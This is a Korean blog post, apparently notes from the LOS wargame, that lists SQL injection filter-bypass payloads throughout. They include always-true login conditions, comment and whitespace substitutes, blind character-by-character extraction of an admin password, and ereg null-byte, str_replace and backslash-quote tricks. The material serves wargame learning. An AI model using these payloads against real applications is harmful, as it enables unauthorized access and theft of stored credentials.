LOS 워게임으로 알아가는 SQL 인젝션 우회기법!


1.문자열 입력 받을때 무조건 참 만드는 방법

'(싱글쿼터)로 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 


2.주석처리 하는법

# 을 직접 적으로 쓰지 못하니까 %23을 써서 우회한다


3.PW 구하는법

'or id='admin' and length(pw)<9 %23 -길이를 확인한다

'or id='admin' and ascii(substr((pw),1,1))<100 %23 ascii 코드로 한글자 한글자 구한다 


4.공백 우회


1). Tab : %09

  - no=1%09or%09id='admin'

2). Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

3). Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

4). 주석 : /**/

  - no=1/**/or/**/id='admin'

5). 괄호 : ()

  - no=(1)or(id='admin')

6). 더하기 : +

  - no=1+or+id='admin'

7). %0c


5.우회 문자 

'=' -> like,<>,in ()

ascii -> ord(),hex()

substr->substring,left,right,mid


만약 ascii값이 터무니 없게 크게 나오면 확장된 ascii 코드표 참고

출처:http://blog.daum.net/you0ha/18284059



6.or and 필터링 


||,&&=%26%26



7. ereg 함수 우회

대소문자 구별을 하기 때문에  Admin 으로 우회한다

ereg 함수의 취약점:

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 id=%00'or 1=1%23



8.str_replace 우회하기

id=adadminmin



9.싱글쿼터 우회하기

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다




10.문자열이 ()로 묶여 있을때


')로 탈출이 가능하다




11.주석 우회 ;%00




12.개행 문자 

한줄 주석을 우회할때 유용하게 쓰인다.

%0a




13.항상 참이되는 식 만들기 


//모두 참으로 만들기 

이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.

'>-1#


또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.

'<1#


꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.

1'<99#


비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.

'=0=1#


또한 서로 값이 같아야 하는 비교 연산도 있다.

'<=>0#


이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.

'=0=1=1=1=1=1#

'=1<>1#

'<>1#

1'<>99999#

'!=2!=3!=4#







'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12

+ Recent posts